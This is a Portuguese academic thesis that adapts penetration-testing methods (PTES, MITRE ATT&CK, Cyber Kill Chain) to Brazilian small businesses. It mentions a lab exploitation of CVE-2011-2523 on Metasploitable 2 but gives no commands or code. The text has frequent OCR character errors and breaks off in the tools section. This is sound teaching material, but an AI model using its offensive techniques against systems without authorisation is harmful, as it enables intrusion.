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RESUMO

O crescimento exponencial de ataques cibernéticos no Brasil com destaque
para pequenas e medias empresas (PMEs) como alvos preferenciais evidencia uma
lacuna critica entre a exposicado ao risco e a capacidade de resposta dessas
organizagbes. Este trabalho tem como objetivo investigar como metodologias de
Pentest podem ser adaptadas a realidade das PMEs brasileiras como estratégia de
fortalecimento da seguranga da informagéo. A pesquisa adota tipologia exploratoria
com abordagem qualitativa e método de levantamento bibliografico, baseando-se em
normas técnicas da familia ISO/IEC 27000, obras académicas consagradas e
frameworks reconhecidos pela industria e pela literatura cientifica. O referencial
tedrico aborda os fundamentos da seguranca da informagédo segundo Stallings (2017)
e Whitman e Mattord (2022), a origem militar do Red Teaming e sua transi¢ao para a
ciberseguranca, e a diferenciagao conceitual entre Vulnerability Assessment, Pentest
e Red Team com base no NIST SP 800-115 (2008). Sao apresentados e detalhados
trés frameworks metodolégicos o Cyber Kill Chain (HUTCHINS; CLOPPERT; AMIN,
2011), o MITRE ATT&CK (STROM et al., 2020) e o PTES (2012) que servem de base
para a proposta do modelo. O modelo conceitual desenvolvido estrutura-se em cinco
fases adaptadas ao perfil de baixa maturidade das PMEs: planejamento e escopo,
reconhecimento, analise de vulnerabilidades, exploracdo controlada e relatorio. O
trabalho propde ainda um arranjo operacional de trés camadas Pentester interno,
empresa terceirizada de Pentest e Blue Team terceirizado como forma viavel e
progressiva de elevar a maturidade de seguranca da informagcado nessas
organizagodes. Para validagao pratica, foi conduzida uma demonstragao em laboratorio
controlado utilizando Kali Linux como maquina atacante e Metasploitable 2 como alvo,
com exploracao bem-sucedida da CVE-2011-2523 obtendo-se acesso root em menos
de cinco minutos com ferramentas gratuitas. Os resultados demonstram que o modelo
proposto € tecnicamente fundamentado, financeiramente viavel e adaptavel as
restricoes das PMEs brasileiras, servindo como ponto de partida para o
desenvolvimento progressivo da maturidade de seguranca da informacao nessas

organizagoes.

Palavras-chave: Seguranga da Informacao; Pentest; Seguranca Ofensiva; Pequenas

e Médias Empresas; Ciberseguranca.



ABSTRACT

The exponential growth of cyberattacks in Brazil with small and medium-sized
enterprises (SMEs) as preferred targets highlights a critical gap between risk exposure
and the response capacity of these organizations. This work aims to investigate how
Pentest methodologies can be adapted to the reality of Brazilian SMEs as a strategy
for strengthening information security. The research adopts an exploratory typology
with a qualitative approach and bibliographic survey method, based on technical
standards from the ISO/IEC 27000 family, established academic works, and
frameworks recognized by industry and scientific literature. The theoretical framework
addresses the fundamentals of information security according to Stallings (2017) and
Whitman and Mattord (2022), the military origin of Red Teaming and its transition to
cybersecurity, and the conceptual differentiation between Vulnerability Assessment,
Pentest, and Red Team based on NIST SP 800-115 (2008). Three methodological
frameworks are presented the Cyber Kill Chain, MITRE ATT&CK, and PTES which
serve as the basis for the proposed model. The conceptual model is structured in five
phases adapted to the low-maturity profile of SMEs. The work also proposes a three-
layer operational arrangement as a viable and progressive means of raising the
information security maturity of these organizations. For practical validation, a
demonstration was conducted in a controlled laboratory environment, successfully
exploiting CVE-2011-2523 and obtaining root access in under five minutes using free

tools.

Keywords: Information Security; Pentest; Offensive Security; Small and Medium

Enterprises; Cybersecurity.
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1 INTRODUGAO

O aumento exponencial de ataques cibernéticos nos ultimos anos tem colocado
as pequenas e meédias empresas como alvos cada vez mais frequentes, apesar de
muitas acreditarem que nao serdo alvo de ataques por ndao serem foco dos
cibercriminosos. Ainda assim, a Kaspersky bloqueou 192 milhdes de tentativas de
ataques contra PMEs no Brasil em 2023, o equivalente a 365 golpes por minuto
(Kaspersky, 2023).

Nesse contexto, as estratégias tradicionais de defesa como antivirus e firewalls,
embora fundamentais, podem nao ser suficientes para conter ameagas mais
sofisticadas. A partir disso, surge a possibilidade de investir em abordagens proativas
que permitam antecipar riscos e testar a resiliéncia das organizagdes frente a ataques
reais, como o Pentest (Teste de Penetragcédo), uma abordagem estratégica dentro da
segurancga ofensiva cujo foco € localizar e expor todas as vulnerabilidades possiveis.

A vulnerabilidade no ambiente cibernético a que empresas de todos os portes
estao expostas, associada aos danos que seus dados podem sofrer, € o que leva este
estudo a responder a seguinte questdo: como a aplicacdo de Pentest pode ser
adaptada a realidade das pequenas e médias empresas como meio eficaz de
identificacdo de vulnerabilidades e fortalecimento da postura de seguranga da
informagéo?

O objetivo geral desta pesquisa é investigar como metodologias de Pentest
podem ser adaptadas a realidade das pequenas e médias empresas como estratégia
de fortalecimento da seguranga da informagao. Como objetivos especificos, busca-se
apresentar os fundamentos teéricos da seguranga ofensiva e do Pentest; identificar
desafios e limitagdes na adocio dessas praticas por pequenas empresas; propor um
modelo adaptado de aplicagdo de Pentest baixo custo; identificar beneficios e
resultados esperados; e demonstrar, em laboratoério controlado, a aplicagao pratica do
modelo.

A relevancia do estudo consiste no fato de que empresas de pequeno porte
estdo inseridas em contexto de transformacdo digital acelerada, onde riscos
cibernéticos aumentam a medida que dependem de sistemas e servigos online. A
aplicacdo de metodologias de Pentest, mesmo de maneira simplificada, pode
contribuir para que essas organizagbes compreendam suas vulnerabilidades e

adotem medidas preventivas com baixo investimento.
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O trabalho esta estruturado em sete capitulos: o segundo apresenta o
referencial tedrico, o terceiro descreve os materiais e métodos, o quarto propde o
modelo conceitual de Pentest para PMEs, o quinto demonstra a aplicagao pratica em
laboratério controlado, o sexto apresenta os resultados e discussdes e o sétimo as

consideragdes finais.
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2 REFERENCIAL TEORICO

O referencial teodrico organiza-se a partir de trés pilares fundamentais, os
conceitos essenciais de segurancga da informagao, a evolugéo histérica do Red Team
até sua especializagdo no Pentest, e os principais frameworks que embasam a
proposta pratica apresentada. Esta secdo busca analisar diferentes perspectivas
tedricas, destacando convergéncias e divergéncias relevantes, especialmente no

contexto das pequenas e médias empresas (PMEs) brasileiras.

2.1 SEGURANGCA DA INFORMAGAO

A crescente dependéncia das organiza¢des em relagdo aos sistemas digitais
tornou a protecdo das informagdes uma estratégia obrigatéria. A seguranca da
informacdo pode ser compreendida como o conjunto de politicas, controles e
mecanismos destinados a preservar trés propriedades essenciais dos dados, a
confidencialidade, a integridade e a disponibilidade. Essa formulagdo é feita pela
familia de normas ISO/IEC 27000, adotada como referéncia técnica internacional e
incorporada ao ordenamento normativo brasileiro pela Associacdo Brasileira de
Normas Técnicas (ABNT).

As normas da familia ISO/IEC 27000 fornecem diretrizes amplamente
reconhecidas para gestdo da seguranca da informacgao, definicdo de controles e
implementacdo de boas praticas organizacionais. A ISO/IEC 27001:2022 define
seguranga da informacdo como a preservagao da confidencialidade, integridade e
disponibilidade da informacdo, podendo incluir propriedades adicionais como
autenticidade, responsabilizacdo, nao repudio e confiabilidade conforme o contexto
organizacional (ABNT, 2022a). Complementarmente, a ISO/IEC 27002:2022
apresenta controles e recomendacgdes voltados a protecao de ativos informacionais,
organizando-os em controles organizacionais, de pessoas, fisicos e tecnoldgicos
(ABNT, 2022b). Ja& a ISO/IEC 27032:2023 estabelece diretrizes especificamente
voltadas a ciberseguranca e a protecdo de ambientes digitais conectados.

Na perspectiva académica, Stallings (2017) define a seguranga da informacgao
como a protecdo de sistemas de informacdo contra acesso nao autorizado, uso
indevido, divulgagao, interrupgao, modificacdo ou destruicdo, de modo a garantir a

integridade, disponibilidade e confidencialidade dos dados. O autor destaca que esses
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principios devem atuar de forma integrada para assegurar a protegao adequada das
informacgdes e dos sistemas organizacionais.

Whitman e Mattord (2022) ampliam essa perspectiva, para os autores, a
seguranga da informagao € um campo multidisciplinar que articula tecnologia, pessoas
e processos. Os autores propdéem o conceito de information security management,
que envolve a criacdo de uma politica de segurancga, a realizagdo de avaliagdes de

risco e a implementagao de controles proporcionais as ameagas identificadas.

Confidencialidade: propriedade que garante que a informacao nao seja
disponibilizada ou divulgada a pessoas, entidades ou processos nao
autorizados (ABNT, 2022).

Integridade: propriedade que assegura a exatiddao e completude da

informacao, impedindo sua modificagao nao autorizada (ABNT, 2022).

Disponibilidade: propriedade que garante que a informacéo e os
sistemas estejam acessiveis e utilizaveis quando demandados por usuarios e

processos autorizados (ABNT, 2022).

211 Origem Militar do Red Teaming e sua Adaptagao para a

Ciberseguranga

Para compreender o Red Team como pratica de segurancga cibernética, é
necessario recuar a sua origem, que antecede o surgimento da internet. O termo
nasceu no contexto militar durante a Guerra Fria, designando grupos para simular o
comportamento do adversario representado pela cor vermelha, com o objetivo de
testar a solidez dos proprios planos e defesas.

Zenko (2015) documenta que a pratica foi institucionalizada nos anos 1960 pelo
Departamento de Defesa dos Estados Unidos. O autor define 0 Red Team como um
grupo que desempenha o papel de um adversario independente com capacidade de
pensar criativamente para identificar fraquezas nos planos, programas, ideias e
suposi¢coes de uma organizagdo. A esséncia do método € o pensamento adversarial:
nao perguntar "o que pode dar certo?", mas "como um inimigo inteligente poderia nos

derrotar?".
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Conforme discutido por Kennedy et al. (2011), a evolugdo das praticas de
seguranga ofensiva e dos testes de intrusdo esta relacionada a adaptacdo do
pensamento adversarial para o contexto tecnoldgico. Nesse sentido, a utilizagdo de
equipes voltadas a identificagdo proativa de vulnerabilidades contribuiu para a
consolidagcdo do Penetration Testing moderno.

O NIST passou a desenvolver diretrizes técnicas para testes de segurancga,
resultando na publicagdo da Special Publication 800-115 (NIST, 2008), documento
que permanece como referéncia normativa fundamental para a area. Brynielsson et
al. (2014) apontam que a adaptacdo do Red Team para o dominio digital preservou
sua caracteristica central, o pensamento de adversario, mas introduziu novas
dimensdes técnicas relacionadas a exploracdo de vulnerabilidades em redes,

sistemas operacionais e aplicacoes.

21.2 Do Red Team ao Pentest

Embora frequentemente relacionados no contexto da seguranga ofensiva, o
Red Team e o Pentest possuem escopos, objetivos e metodologias distintas.
Enquanto o Pentest busca identificar e validar vulnerabilidades especificas em
sistemas, aplicagcdes ou infraestruturas, o Red Team adota uma abordagem mais
abrangente, simulando adversarios reais em campanhas que combinam técnicas,
taticas e procedimentos utilizados por atacantes para avaliar a capacidade de
deteccao e resposta da organizagdo. O NIST SP 800-115 (2008) estabelece uma
classificagao clara para as trés abordagens de avaliacdo de segurancga, apresentada

na tabela 1.
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Tabela 1 - Comparativo entre Vulnerability Assessment, Pentest e Red Team

Critério Aval. Pentest Red Team
Vulnerabilidades

Objetivo Identificar falhas Explorar Simular adversario
vulnerabilidades real

Escopo Amplo, Definido Aberto, estratégico

automatizado previamente

Duracgao Horas a dias Dias a semanas Semanas a meses

Maturidade Baixa Moderada Alta

exigida

Viavel para Alta Alta (com Baixa a moderada

PMEs adaptacgao)

Fonte: elaborado pelo autor com base em NIST (2008) e Whitman e Mattord (2022).

O Pentest ou teste de penetragao avanca além da identificacdo de falhas, seu
objetivo é explorar ativamente as vulnerabilidades encontradas, demonstrando o
impacto real que um atacante seria capaz de causar.

Kennedy et al. (2011) destacam que exercicios avangados de seguranga
ofensiva exigem planejamento adequado, definicdo clara de objetivos e capacidade
organizacional para interpretar e responder aos resultados obtidos. Nesse contexto,
considera-se que muitas PMEs brasileiras ainda enfrentam dificuldades estruturais e
operacionais relacionadas a maturidade em seguranga da informacgao, o que justifica

a escolha do Pentest estruturado como abordagem adaptada para esse cenario.

213 Seguranca Ofensiva: fundamentos e abordagens

A seguranca ofensiva (Offensive Security) compreende um conjunto de
abordagens proativas de avaliacdo e fortalecimento da seguranca, baseadas na
simulacao de técnicas e taticas empregadas por atacantes reais. Diferentemente das
abordagens defensivas tradicionais, a seguranga ofensiva busca identificar
vulnerabilidades por meio da simulacdo controlada de técnicas utilizadas por
atacantes reais, permitindo avaliar falhas antes que elas sejam exploradas de forma

maliciosa.
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Herzog (2010), no Open Source Security Testing Methodology Manual
(OSSTMM), descreve essa légica como a necessidade de testar ndo apenas o que
esta protegido, mas como esta protegido e se a protegdo realmente funciona sob
condigbes adversas. As principais abordagens incluem testes de penetragao,

exercicios de Red Team, engenharia social e programas de bug bounty.

214 PMEs no contexto brasileiro

As pequenas e medias empresas constituem a espinha dorsal da economia
brasileira. De acordo com o IBGE (2022), as empresas de pequeno e médio porte
respondem por mais de 98% das unidades produtivas formais do pais. Para fins de
classificagdo, o IBGE adota como critério o numero de funcionarios, microempresas
possuem até 9 empregados, pequenas empresas de 10 a 49 no comércio e servigos,
ou de 10 a 99 na industria e médias empresas, de 50 a 249 no comércio e servigos,
ou de 100 a 499 na industria (IBGE, 2022).

As PMEs brasileiras enfrentam uma combinacido de fatores de risco,
orgcamentos de Tl reduzidos, auséncia de profissionais especializados, uso frequente
de softwares sem atualizacdo e baixa maturidade de governanca de TI. E essa
combinagao cria um perfil de vulnerabilidade sistémica que contrasta com a percepg¢ao
equivocada de muitos gestores de que suas empresas sao alvos de menor interesse
para cibercriminosos.

Whitman e Mattord (2022) destacam que a falsa percepcao de invisibilidade
organizacional pode levar empresas de pequeno porte a negligenciarem praticas
essenciais de seguranga da informacgdo, aumentando sua exposigao a incidentes e

ataques cibernéticos.
2.2 FRAMEWORKS E METODOLOGIAS DE SEGURANCA OFENSIVA

A eficacia de um Pentest depende nédo apenas das habilidades técnicas do
profissional responsavel, mas da ado¢ao de uma metodologia estruturada. Esta segao

apresenta os trés principais frameworks que fundamentam a proposta deste trabalho:
o Cyber Kill Chain, o MITRE ATT&CK e o PTES.

20



221 Cyber Kill Chain

O modelo Cyber Kill Chain foi desenvolvido por Hutchins, Cloppert e Amin
(2011) a partir da adaptagédo do conceito militar de kill chain para o dominio da
seguranga cibernética. O modelo descreve um ataque como uma sequéncia de sete
etapas interdependentes, propondo que a interrupcdo de qualquer uma delas é
suficiente para frustrar o ataque em sua totalidade. As etapas sao:

(1) Reconhecimento, coleta de informagdes sobre o alvo via OSINT e
varreduras;

(2) Armamento, desenvolvimento de ferramentas maliciosas;

(3) Entrega, transmissao da carga maliciosa;

4

(5

(6) Comando e Controle, canal de comunicagcado com a infraestrutura do

)
) Exploragéo, execugao do cédigo malicioso no ambiente alvo;
) Instalacao, estabelecimento de persisténcia;

)

atacante

(7) Acdes sobre os objetivos, execucao da finalidade ultima do ataque).
222 MITRE ATT&CK

O MITRE ATT&CK (Adversarial Tactics, Techniques, and Common Knowledge)
€ uma base de conhecimento aberta que documenta taticas, técnicas e procedimentos
(TTPs) reais observados em ataques cibernéticos. Desenvolvido pela MITRE
Corporation e disponibilizado publicamente desde 2015, é continuamente atualizado
com base na analise de incidentes reais.

Strom et al. (2020) descrevem o ATT&CK como uma matriz organizada em
multiplas taticas de alto nivel, cada uma associada a diversas técnicas especificas. A
matriz Enterprise documenta centenas de técnicas e subtécnicas. Para PMEs, a
estrutura do ATT&CK permite priorizar técnicas de maior prevaléncia e impacto,

maximizando o valor do teste dentro das restricdes orcamentarias disponiveis.
223 Penetration Testing Execution Standard

O Penetration Testing Execution Standard (PTES) é um padrdo metodoldgico

desenvolvido por profissionais e pesquisadores da area de seguranca ofensiva para
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estabelecer uma linguagem comum e boas praticas para a execugao de testes de
penetracdo. O PTES organiza o processo de Pentest em sete fases: Pré-
engajamento, Coleta de inteligéncia, Modelagem de ameagas, Analise de
vulnerabilidades, Exploragao, Pds-exploragao e Relatério (PTES, 2012).

Kennedy et al. (2011) destacam a importadncia da documentacdo e da
elaboracgao de relatérios no processo de Pentest, uma vez que os resultados obtidos
devem ser apresentados de forma clara para apoiar a identificacdo e correcéo de
vulnerabilidades. Para o contexto das PMEs, o PTES mostra-se especialmente
relevante por oferecer uma estrutura adaptavel em escopo e complexidade, sem

comprometer o rigor metodoldgico.

22



3 MATERIAIS E METODOS

Esta pesquisa estrutura-se a partir de quatro dimensdes metodologicas
complementares, apresentadas a seguir de forma sistematizada.

Quanto a natureza da pesquisa, o trabalho caracteriza-se como pesquisa
aplicada, pois tem como finalidade gerar conhecimento com potencial de aplicagao
pratica na solugcéo de um problema especifico, a vulnerabilidade cibernética das PMEs
brasileiras. Conforme Gil (2002), a pesquisa aplicada “objetiva gerar conhecimentos
para aplicagao pratica, dirigidos a solugao de problemas especificos”. O recorte do
problema € delimitado ao contexto nacional, considerando as peculiaridades do
ambiente regulatorio, as pressdes impostas pela Lei Geral de Protecdo de Dados
(LGPD) e o perfil de risco documentado para as PMEs brasileiras.

No que se refere a abordagem da pesquisa, adota-se a abordagem qualitativa.
Conforme Minayo (2014), essa abordagem “trabalha com o universo dos significados,
dos motivos, das aspiragdes, das crengas, dos valores e das atitudes”, sendo
adequada para a investigagdo de fendbmenos que ndo se reduzem a métricas
quantificadas. No presente estudo, a abordagem qualitativa & pertinente porque o
objeto de analise, a adaptacdo de metodologias de Pentest ao contexto das PMEs,
envolve dimensdes interpretativas acerca de viabilidade, adequabilidade e praticidade
que nao seriam capturadas por instrumentos numéricos.

Em relagdo aos objetivos da pesquisa, o trabalho assume carater exploratério.
Gil (2002) define esse tipo de pesquisa como aquela que “busca maior familiaridade
com o problema”, com foco no aprimoramento de conceitos e na descoberta de
intuicdes. A pesquisa exploratoria é especialmente adequada quando o tema, embora
relevante, ainda apresenta lacunas na literatura quanto a sua operacao pratica em
contextos especificos como o das PMEs brasileiras, nas quais ainda se observam
limitacbes na consolidagcdo de modelos metodolégicos de Pentest amplamente
difundidos e adaptados a sua realidade operacional.

Quanto aos procedimentos técnicos, a pesquisa combina levantamento
bibliografico e demonstracdo técnica em laboratério controlado. O levantamento
bibliografico constitui o procedimento principal para a construgao do referencial tedrico
e da proposta conceitual. Conforme Gil (2002), a pesquisa bibliografica consiste na
consulta de material ja publicado, incluindo livros, artigos cientificos e documentos

institucionais. Foram utilizadas como fontes primarias obras académicas como
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Stallings (2017), Whitman e Mattord (2022) e Kennedy et al. (2011), normas técnicas
da familia ISO/IEC 27000, documentos normativos do NIST e os frameworks PTES
(2012), MITRE ATT&CK (STROM et al., 2020) e Cyber Kill Chain (HUTCHINS;
CLOPPERT; AMIN, 2011). Relatérios de organiza¢gdes como CERT.br, IBM e ENISA
sao utilizados exclusivamente para contextualizagdo estatistica. A demonstragao
técnica, apresentada no capitulo 5, configura-se como aplicagédo pratica do modelo
em ambiente controlado, sem contato com sistemas reais ou dados de terceiros, e
tem por objetivo ilustrar a viabilidade operacional das fases propostas.

A opcao pelo laboratério controlado justifica-se por razdes éticas e
metodoldgicas: a execucéo de Pentest em ambientes reais de PMEs sem autorizacéo
formal e estrutura contratual adequada configuraria ilicitude nos termos da Lei n°
12.737/2012 (Lei Carolina Dieckmann) e do Codigo Penal brasileiro. Dessa forma, o
laboratério controlado, utilizando Kali Linux como maquina atacante (IP
192.168.10.129) e Metasploitable 2 como alvo (IP 192.168.10.130), em rede virtual
isolada configurada no VMware Workstation, representa o procedimento mais

adequado para demonstragao pratica em nivel académico.
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4 MODELO CONCEITUAL DE PENTEST PARA PMES

Este capitulo apresenta o desenvolvimento central desta pesquisa, um
diagnostico fundamentado do cenario de vulnerabilidades das PMEs brasileiras e, a
partir dele, a proposta de um modelo conceitual de Pentest adaptado a realidade
dessas organizag¢des. O modelo articula os trés frameworks estudados PTES, MITRE
ATT&CK e Cyber Kill Chain e propde um arranjo operacional viavel para PMEs,
envolvendo a combinagao de um profissional interno, uma empresa terceirizada de

Pentest e uma empresa terceirizada de segurancga defensiva.

4.1 O CENARIO DE VULNERABILIDADE DAS PMES BRASILEIRAS

As vulnerabilidades presentes nas PMEs brasileiras ndao se limitam apenas a
falhas técnicas, envolvendo também questdes relacionadas a gestdo da seguranca
da informagdo, a capacitacdo dos colaboradores e a auséncia de processos
organizacionais estruturados. O CERT.br registra anualmente o crescimento de
incidentes envolvendo organizagcdes de pequeno porte, com destaque para ataques
de phishing, varreduras automatizadas e infecgdes por ransomware. A ENISA reforca
que PMEs sao alvos preferenciais de ataques oportunistas por combinarem presenca

digital crescente com defesas inadequadas.

411 Vulnerabilidades técnicas

Stallings (2017) observa que sistemas desatualizados representam a categoria
de vulnerabilidade mais explorada por atacantes. Entre as vulnerabilidades técnicas
mais prevalentes em PMEs destacam-se a utilizagdo de sistemas sem atualizagdes
regulares, auséncia de firewall perimetral, uso de senhas fracas ou compartilhadas,
auséncia de segmentacao de rede, e exposi¢gao desnecessaria de servigos a internet.
No modelo Cyber Kill Chain, essas vulnerabilidades sao identificadas nas fases de
Reconhecimento e Exploragéo, onde um atacante com ferramentas gratuitas é capaz

de mapear a superficie de ataque de uma PME tipica em minutos.
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41.2 Vulnerabilidades humanas

Whitman e Mattord (2022) destacam que o fator humano representa um dos
principais desafios da seguranca da informag¢do, uma vez que falhas de usuarios
podem comprometer controles técnicos implementados pelas organizagcbes. Nesse
sentido, relatérios do CERT.br e da ENISA apontam o phishing como um dos vetores
de acesso inicial mais recorrentes em incidentes de seguranca. O MITRE ATT&CK
documenta essas técnicas sob a tatica de Acesso Inicial (/nitial Access),
reconhecendo-as como um dos caminhos mais eficazes para a obtengao de acesso
nao autorizado, por esse motivo, o treinamento continuo dos funcionarios assume
papel fundamental.

A conscientizagdo em seguranga da informagéo permite que os colaboradores
reconhegam mensagens suspeitas, compreendam o0s riscos associados ao
compartilhamento indevido de informacgdes e adotem praticas mais seguras no uso
dos recursos corporativos. Além disso, programas peridédicos de capacitagéo
contribuem para a criagdo de uma cultura organizacional voltada a seguranca,
reduzindo significativamente a probabilidade de sucesso de ataques baseados em

manipulagéo psicoldgica.

41.3 Vulnerabilidades de processo

Nogueira (2025) destaca que pequenas e médias empresas brasileiras
frequentemente enfrentam dificuldades na implementagao de praticas adequadas de
ciberseguranca, especialmente devido a limitagdes financeiras, escassez de
profissionais especializados e baixa priorizacdo estratégica da seguranga da
informacao. Nesse contexto, a norma ISO/IEC 27001:2022 estabelece a politica de
seguranga da informagao como elemento fundamental para a implementagédo de um
Sistema de Gestao de Segurancga da Informagao (SGSI), reconhecendo que controles
técnicos e administrativos dependem de diretrizes organizacionais bem definidas
(ABNT, 2022). Nesse contexto, considera-se que organizagées com baixa maturidade
em seguranca da informacao podem apresentar fragilidades como auséncia de rotinas
adequadas de backup, inexisténcia de planos de resposta a incidentes e falhas na

gestao de privilégios de acesso.
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41.4 Perfil de risco da PME brasileira tipica e a pertinéncia do Pentest

A combinacdo dessas vulnerabilidades evidencia um cenario de risco
caracterizado pela presenga simultdnea de fragilidades técnicas, limitagbes
organizacionais e baixa maturidade em seguranga da informacgédo, marcado por
organizagcbes com presenga digital relevante, sistemas tecnicamente frageis,
colaboradores sem treinamento e auséncia de processos formais de seguranca.

Whitman e Mattord (2022) destacam que a definicdo de controles e avaliagbes
de seguranga deve considerar o nivel de maturidade e a realidade operacional da
organizacgdo. Nesse sentido, o Pentest pode ser compreendido como um instrumento
capaz de auxiliar a organizagdo na identificacdo pratica e priorizagdo de

vulnerabilidades e riscos de seguranca.

4.2 PROPOSTA DO MODELO CONCEITUAL DE PENTEST PARA PMES

O modelo proposto tem como premissa fundamental a viabilidade, cinco
objetivos centrais guiam sua construcéo: (1) definir o escopo, os objetivos e as
autorizacdes da avaliacao; (2) identificar ativos e possiveis superficies de ataque; (3)
localizar e classificar vulnerabilidades existentes; (4) validar, de forma controlada, o
impacto e a exploragédo das vulnerabilidades identificadas; e (5) documentar os

resultados obtidos e propor agdes de mitigagdo e melhoria da segurancga.

Tabela 2 - Visdo geral das fases do modelo conceitual de Pentest para PMEs

Fase Etapa Objetivo Referéncia metodoldgica
1 Planejamento e Definir objetivos e PTES: Pré-engajamento;
€escopo autorizacoes NIST SP 800-115
2 Reconhecimento | Identificar ativos e PTES: Intelligence
superficie de ataque Gathering; MITRE ATT&CK
3 Analise de Localizar e classificar PTES: Vulnerability
vulnerabilidades | falhas (CVSS) Analysis; CVSS
4 Exploracéo Validar risco real das PTES: Exploitation; Cyber
controlada vulnerabilidades Kill Chain; MITRE ATT&CK
5 Relatoério de Documentar resultados | PTES: Reporting; NIST SP
vulnerabilidades e propor melhorias 800-115
Fonte: elaborado pelo autor com base em PTES (2012), NIST (2008) e MITRE Corporation
(2020).
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4.21 Fase 1: Planejamento e escopo

A fase de planejamento e escopo estabelece os limites, objetivos e condigbes
sob os quais o Pentest sera executado. Nessa etapa sdo definidos os ativos que serdao
avaliados, as técnicas permitidas, as restricbes operacionais, 0s responsaveis
envolvidos e as autorizagbes necessarias para a realizagao dos testes. O PTES
(2012) denomina esta etapa de Pré-engajamento e a posiciona como a fundagao
sobre a qual todas as demais fases se sustentam.

No contexto das PMEs, o interlocutor é frequentemente o préprio proprietario
da empresa ou um gerente sem formagao técnica, o que exige comunicacgao clara e
foco nos impactos para o negédcio. Além disso, o NIST SP 800-115 (2008) ressalta
que a formalizacdo do escopo e das autorizacdes € indispensavel, pois a execugao
de testes sem consentimento explicito pode ser caracterizada como acesso nao

autorizado, independentemente das intengdes do profissional responsavel.

4.2.2 Fase 2: Reconhecimento e coleta de informagoes

A fase de reconhecimento mapeia a superficie de ataque antes de qualquer
interacdo direta com os sistemas. A técnica de OSINT (Open Source Intelligence)
permite construir um mapa detalhado da infraestrutura tecnoldgica de uma
organizagao sem jamais tocar em seus sistemas, por meio de registros de dominio,
certificados SSL expostos, perfis em redes sociais e metadados de documentos
publicos, situacao frequentemente observada em PMEs que ndo possuem processos
estruturados de protecdo e gerenciamento de informagdes. O MITRE ATT&CK
documenta essas técnicas sob a tatica de Reconhecimento (T1595, T1590, T1593).

Além da identificacdo de hosts e servigos expostos, a fase de reconhecimento
permite compreender a superficie de ataque da organizagao, reunindo informacoes
que servirao de base para as etapas subsequentes do Pentest. Dados como versdes
de software, portas abertas, dominios associados, certificados digitais e tecnologias
utilizadas podem revelar potenciais vetores de ataque antes mesmo da realizag&o de
testes mais invasivos. Para as PMEs, essa etapa possui importancia especial, pois
muitas vulnerabilidades decorrem de falhas de configuragdo, servigos
desnecessariamente expostos a Internet ou ativos que ndo sao devidamente

monitorados pela equipe de TI.
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4.2.3 Fase 3: Analise de vulnerabilidades

A analise de vulnerabilidades consiste na identificacdo e avaliacdo sistematica
de falhas de seguranga que possam comprometer a confidencialidade, integridade ou
disponibilidade dos ativos organizacionais. Essa atividade deve combinar ferramentas
automatizadas de varredura com verificagdes manuais, aumentando a precisdo dos
resultados e reduzindo a ocorréncia de falsos positivos.

ApOs a coleta das evidéncias, as vulnerabilidades identificadas devem ser
classificadas de acordo com seu nivel de risco. Para essa finalidade, recomenda-se a
utilizacdo do CVSS (Common Vulnerability Scoring System), que estabelece uma
escala padronizada de 0 a 10 baseada em fatores como impacto potencial e facilidade
de exploragdo. Em ambientes de PMEs, essa abordagem favorece a alocagao
eficiente de recursos, permitindo que as acgbes corretivas sejam direcionadas

prioritariamente as vulnerabilidades mais criticas.

424 Fase 4: Exploracao controlada

A exploragdao controlada representa a etapa em que as vulnerabilidades
identificadas sdo submetidas a testes praticos para comprovar sua explorabilidade e
mensurar seu impacto real. O objetivo ndo é causar danos ao ambiente, mas sim
demonstrar de forma segura e controlada como um agente malicioso poderia explorar
determinada falha. Para isso, todas as acbes devem ser previamente autorizadas,
monitoradas e registradas.

A selecdo das técnicas de exploracdo pode ser orientada pelo framework
MITRE ATT&CK, que cataloga TTPs (Taticas, Técnicas e Procedimentos) observadas
em ataques reais. No contexto das PMEs, destacam-se técnicas relacionadas a
exploragdo de credenciais fracas (T1110 — Brute Force), comprometimento de
aplicagdes expostas a Internet (T1190 — Exploit Public-Facing Application) e elevagéo
de privilégios apds o0 acesso inicial. A validacdo dessas vulnerabilidades permite
determinar com maior preciséo o risco efetivo ao negdécio e subsidiar a definicdo de

medidas corretivas prioritarias.
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4.2.5 Fase 5: Relatorio de vulnerabilidades

Kennedy et al. (2011) destacam a importdncia da documentacdo e da
comunicagao dos resultados obtidos durante o processo de Pentest. O modelo
proposto divide-se em duas se¢des, 0 sumario executivo para gestores focado nos
riscos de negodcio e secdo técnica detalhada para a equipe de corregdo, com
pontuagdo CVSS, referéncias ao MITRE ATT&CK e recomendagdes priorizadas. O
relatério € o elo central do arranjo operacional: é a partir dele que a seguranca
defensiva terceirizada compreende o que precisa ser corrigido e em qual ordem.

Para as PMEs, a efetividade do relatério depende ndo apenas da qualidade
técnica das descobertas, mas também da forma como elas s&o comunicadas.
Considerando que muitas dessas organizagcdes nao dispéem de equipes dedicadas a
seguranga da informacgao, torna-se essencial que os resultados sejam apresentados
de maneira objetiva e compreensivel. A inclusdo de descricbes simplificadas das
vulnerabilidades, exemplos dos possiveis impactos e recomendagdes de corregao
passo a passo contribui para reduzir barreiras técnicas e facilitar a implementagao das
melhorias propostas. Dessa forma, o relatério deixa de ser apenas um documento
técnico e passa a atuar como instrumento de orientagao para o fortalecimento gradual

da postura de seguranga da organizagao.

4.3 FERRAMENTAS ACESSIVEIS PARA PMES

A viabilidade financeira do modelo proposto depende diretamente da
disponibilidade de ferramentas de qualidade profissional sem custos de licenciamento.
Diferentemente de grandes organizacbes, que frequentemente dispdem de
orcamentos especificos para aquisicdo de solugdes comerciais de seguranca, as
PMEs geralmente precisam equilibrar investimentos em ciberseguranga com outras
demandas operacionais consideradas prioritarias. Essa limitacdo orcamentaria faz
com que a adocao de ferramentas gratuitas ou de cédigo aberto represente uma
alternativa estratégica para fortalecer a seguranga da informacao sem comprometer a

sustentabilidade financeira do negdcio.
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431 Nmap (Network Mapper)

O Nmap ¢é a ferramenta de mapeamento de redes mais amplamente utilizada
do mundo. Sua funcdo principal € a identificacdo de hosts ativos, portas abertas,
servigcos em execugao e versdes de software, a ferramenta € um importante recurso
para as etapas de reconhecimento e enumeragao em avaliagbes de segurancga, sua
principal limitacdo no contexto de PMEs é a necessidade de interpretagao qualificada

dos resultados.

4.3.2 OpenVAS

O OpenVAS é um scanner de vulnerabilidades de codigo aberto mantido pela
Greenbone Networks, capaz de identificar automaticamente vulnerabilidades
conhecidas com referéncias a CVEs. Sua principal limitagdo é a taxa de falsos
positivos, dessa forma, os resultados devem ser sempre validados manualmente

antes de serem incluidos no relatério final.

43.3 OWASP ZAP

O OWASP ZAP (Zed Attack Proxy) € uma ferramenta de cdodigo aberto
